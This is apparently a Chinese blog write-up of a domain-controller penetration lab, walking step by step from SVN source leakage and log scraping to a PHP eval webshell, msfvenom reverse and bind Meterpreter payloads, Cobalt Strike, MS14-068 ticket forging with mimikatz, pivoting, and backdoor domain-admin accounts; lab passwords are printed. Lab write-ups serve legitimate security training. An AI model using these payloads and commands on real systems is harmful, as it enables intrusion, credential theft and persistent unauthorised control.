
webhack域控主机渗透笔记
本文最后更新于 2024-08-27,文章内容可能已经过时。
webhack域控靶场渗透笔记
免责声明
⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠
靶场要求
1.信息采集和使用 (10分)
列出采集了哪些信息 ,使用了哪些信息
2.置入web木马进行getShell (15分)
3.对MySql进行拖库 (10分)
4.上线MSF或CS拿下跳板机(10分) (域内主机、跳板机,不能使用MS17-010)
5.获取域控管理权 (15分)
6.留下维持权限(5种手段) (15分)
7.连接域控的远程桌面 (10分)
8.附加题 (15分):
利用python开发一个svn文件下载工具:要求:按照文件原本的目录结构进行还原
提示 :
- 开启两台虚拟机,确认web服务器能正常访问,可以使用kali中的whatweb获取指纹信息
- 需要在攻击主机上配置host文件为:192.168.152.154 www.webhack123.com 使用域名访问
:IP admin.webhack123.com - 简单尝试web安全,不要纠结于常规漏洞,尝试扫描后台
- 了解下SVN源代码泄露漏洞利用方式
- kali自带sqlitebrowser程序可以读取SQLite数据库表和内容
- 查找日志中的信息。。。
- 系统后台存在文件上传漏洞 ,但是需要做一些特别的设置
- 域控的域名可能无法正常ping到正确的IP地址,需要想办法
192.168.12.160 www.webhack123.com
http://www.webhack123.com
前置环境配置:
VM虚拟机网卡配置:
域控服务器:VMnet19(桥接)IP网段:10.10.10.x
域内主机:Net网卡 VMnet19(桥接)
kali (攻击机) IP地址:192.168.91.129
域控服务器 windowServer2008 IP地址:10.10.10.149
域内主机 windowServer2008 主机名:web 域名:hackbox.com
IP地址:192.168.91.154,101.10.10.4
域内主机密码
administrator/!@#Qwe456
hackbox\web/!@#Qwe456开启两台虚拟机,确认web服务器能正常访问,可以使用kali中的whatweb获取指纹信息
需要在攻击主机上配置host文件为:IP地址 www.webhack123.com 使用域名访问
kali配置host文件,以便能访问web服务器
sudo vim /etc/hosts
#添加如下:
192.168.91.154 www.webhack123.com
192.168.91.154 admin.webhack123.com
测试访问域名:
浏览器输入:http://www.webhack123.com/
浏览器访问后台管理页面:http://admin.webhack123.com
主机发现
nmap扫描指定网段:
nmap -sP 192.168.91.0/24
发现主机域内主机192.168.91.154
访问扫描到的域名(这里显示域名是因为提前配置了hosts文件)
信息搜集
使用网页插件Wappalzyer查看网页基本信息,可以看到是ThinkPHP架构的,操作系统是Windows Server,Apache服务器,应该是tomcat启动的用php写的页面。
使用whatweb查看网页指纹信息
whatweb www.webhack123.com
nmap扫描开放的端口
nmap 1-65535 192.168.91.154
可以看到开放了这些端口,有msql的服务和445,80,135等等。
nmap继续加参数,对目标的指定端口进行详细扫描。
#扫描端口,操作系统信息详情等
nmap -p 1-65535 -sV -O -A 192.168.228.10
使用goby进行漏洞扫描
SVN(subversion)是源代码版本管理软件,造成SVN源代码漏洞的主要原因是管理员操作不规范。“在使用SVN管理本地代码过程中,会自动生成一个名为.svn的隐藏文件夹,其中包含重要的源代码信息。但一些网站管理员在发布代码时,不愿意使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,这就使.svn隐藏文件夹被暴露于外网环境,黑客可以借助其中包含的用于版本信息追踪的‘entries’文件,逐步摸清站点结构。”(可以利用.svn/entries文件,获取到服务器源码、svn服务器账号密码等信息)
更严重的问题在于,SVN产生的.svn目录下还包含了以.svn-base结尾的源代码文件副本(低版本SVN具体路径为text-base目录,高版本SVN为pristine目录),如果服务器没有对此类后缀做解析,黑客则可以直接获得文件源代码
svn>1.6,文件名会被hash,然后再按照文件名对应hash的方式存到wc.db中,就是个sqlite数据库。最后我们按照名称遍历下载即可。
svn<1.6,文件会先去读取entries文件的中的目录结构,因为默认文件名都是直接明文存的。
利用方式
1、漏洞利用工具: Seay SVN漏洞利用工具
(SvnExploit是一款SVN源代码利用工具,其完美支持SVN<1.7版本和SVN>1.7版本的SVN源代码泄露)
下载地址:https://github.com/admintony/svnExploit
2、添加网站url
在被利用的网址后面加 /.svn/entries,列出网站目录,甚至下载整站。
对目标web页面进行子域名扫描
使用dirsearch扫描:
dirsearch -u http://www.webhack123.com/
扫到了一个db类型的文件,应该是数据库文件,访问下载下来看看,在NODES_CURRENT这个视图中找到了类似网站目录的文件列表。先记着,待会再看
使用dirb进行子域名扫描:
dirb http://www.webhack123.com/ /usr/share/dirb/wordlists/big.txt
登录后台页面http://admin.webhack123.com
漏洞利用
将 Seay SVN漏洞利用工具git下来
git clone https://github.com/admintony/svnExploit
利用svnExploit工具进行利用
#先安装依赖库
sudo pip install -r requirements.txt
#查看帮助
python SvnExploit.py -h
#检测SVN源代码泄露
python SvnExploit.py -u http://www.webhack123.com/.svn
#下载源代码
python SvnExploit.py -u http://www.webhack123.com/.svn --dump
可以看到和db内容一样,使用这个工具把泄露的文件和db文件下载下来
python SvnExploit.py -u http://www.webhack123.com/.svn --dump
dump成功后会在本地目录下生成dbs文件夹,进入对应扫描的目录文件可以查看dump下来的所有文件。
在/App/Runtime/Logs/文件下看到了很多日志信息,查看了一下都是一些18,19年的数据,好像利用不了。
# condition:utf-8
#使用此脚本获取最新的包含密码的logs信息
import requests;
url = "http://www.webhack123.com/App/Runtime/Logs/20"
def addurls(url):
urls = []
for i in range(1, 13):
for j in range(1, 32):
if i < 10:
if j < 10:
urls.append(url + "_0%s_0%s.log" % (i, j))
else:
urls.append(url + "_0%s_%s.log" % (i, j))
else:
if j < 10:
urls.append(url + "_%s_0%s.log" % (i, j))
else:
urls.append(url + "_%s_%s.log" % (i, j))
return urls
urls = addurls(url)
for i in urls:
r = requests.get(i)
if r.status_code == 200:
print(i)
with open("web.txt", 'a', encoding="utf-8") as f:
f.write(r.text)
运行代码,查找日志信息,找到最近登录的用户名密码了。
用户名:admin
密码为:74c774ef39b5b977c1fd59dbfc73c3e380a65aa3
判断应该是md5机密后的密码信息,进行解密后为web123
这里找数据的话也可以直接使kali中SQLite工具查看下载下来的文件查看
MD5解密网站:https://www.somd5.com/
使用解密后的用户名和密码登录后台,成功。
修改运行文件上传的类型
制作一句话木马并上传
<?php @eval($_POST['shell']);?>
Getshell(域内)
蚁剑连接
CS上线
#kali启动cs服务端
./teamserver 192.168.91.129 admin123
#连接
cs制作木马文件,在蚁剑文件目录上传木马
成功上线
msf进行上线
#kali制作windows木马:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.91.129 lport=5555 -f exe -o test5555.exe
#kali启动监听:
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
show options
set lhost 192.168.91.129
set port 5555
run
直接是system权限。。。
上线到Administrator用户
提权
msf查看登录的用户
run post/windows/gather/enum_logged_on_users
Current Logged Users
====================
SID User
--- ----
S-1-5-21-1443003717-4130318662-4279967973-500 WEB\Administrator
[+] Results saved in: /root/.msf4/loot/20240624164640_default_192.168.91.154_host.users.activ_362061.txt
Recently Logged Users
=====================
SID Profile Path
--- ------------
S-1-5-18 C:\Windows\system32\config\systemprofile
S-1-5-19 C:\Windows\ServiceProfiles\LocalService
S-1-5-20 C:\Windows\ServiceProfiles\NetworkService
S-1-5-21-1443003717-4130318662-4279967973-500 C:\Users\Administrator
S-1-5-21-2005268815-658469957-1189185684-1103 C:\Users\web
S-1-5-21-2005268815-658469957-1189185684-500 C:\Users\Administrator.HACKBOX
#查看当前登录的用户uid
whoami /user
USER INFORMATION
----------------
User Name SID
=================== ========
nt authority\system S-1-5-18
运行ipconfig /all查看域控的ip地址。找到域控IP地址为10.10.10.149(DNS那里的)
exit退出后返回msf界面,bg后台运行,搜索建议
search suggester
use 0
show options
set session 1
run
没有搜到什么有用的信息
cs创建用户并添加到管理员组
#创建用户xiaoe密码Mudi123
shell net user xiaoe Mudi123 /add
shell net localgroup Administrators xiaoe /add
使用MS14-068漏洞提权
该漏洞允许黑客提升任意普通用户权限成为域管理员(Domain Admin)身份。也就是说,你在一台普通域用户的机器上利用这个漏洞,那么这个域用户就变成域管理员权限,然后该域用户就可以控制整个域的所有机器了。只要服务器未打ms14-068补丁(KB3011780),在server 2000以上的域控服务器中,都可进行利用。
影响版本:全部版本Windows[服务器]
下载地址:https://github.com/AusJock/Privilege-Escalation
(1)蚁剑上传MS14-068漏洞的exe文件到目标域内主机
(2)使用cs伪造kerberos票据。
#shell MS14-068.exe -u 域控管理员用户名 -p 密码 -s web用户的UID -d 域控的ip
shell MS14-068.exe -u web@hackbox.com -p !@#Qwe456 -s S-1-5-21-2005268815-658469957-1189185684-500 -d 10.10.10.149
(3)使用mimikatz清空票据缓存
#清除缓存
mimikatz kerberos::purge
#查看缓存列表
mimikatz kerberos::list
(4)导入伪造的票据文件
mimikatz kerberos::ptc C:\phpstudy_pro\WWW\www.webhack123.com\Public\Upload\20240624\TGT_web@HACKBOX.COM.ccache
(5)尝试访问域控服务器的目录:
shell dir \\dc\c$
创建代理或者端口转发连接内网
(6) 使用meterpreter创建路由
#自动创建路由
run post/multi/manage/autoroute
#查看路由创建情况
run autoroute -p
(7)使用msf创建代理和全局代理
use auxiliary/server/socks_proxy
show options
run
vi /etc/proxychains4.conf
socks5 127.0.0.1 1080
(或者)使用msf进行端口转发
portfwd add -l 8099 -r 10.10.10.149 -p 6666
#将域控主机的6666端口转发到kali的8099端口上
Getshell(域控)
(8)kali生成正向木马,用来准备连接内网域控服务器
msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=6666 -f exe -o yukong.exe
kali启动监听:
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
show options
set rhost 10.10.10.149
set lport 6666
run
蚁剑上传正向木马到域内目录中,在cs使用命令行拷贝到域控服务器中
shell copy C:\phpstudy_pro\WWW\www.webhack123.com\Public\Upload\20240624\yukong.exe \\dc\c$
(9)启动定时器任务,反弹shell回kali
shell at \\dc 23:01 cmd.exe /c "C:\yukong.exe"
成功getshell
(10)创建域控管理员账户
net user test Mudi@123 /add /domain && net group "Domain Admins" test /add /domain
测试登录域控服务器,登录成功。
- 感谢你赐予我前进的力量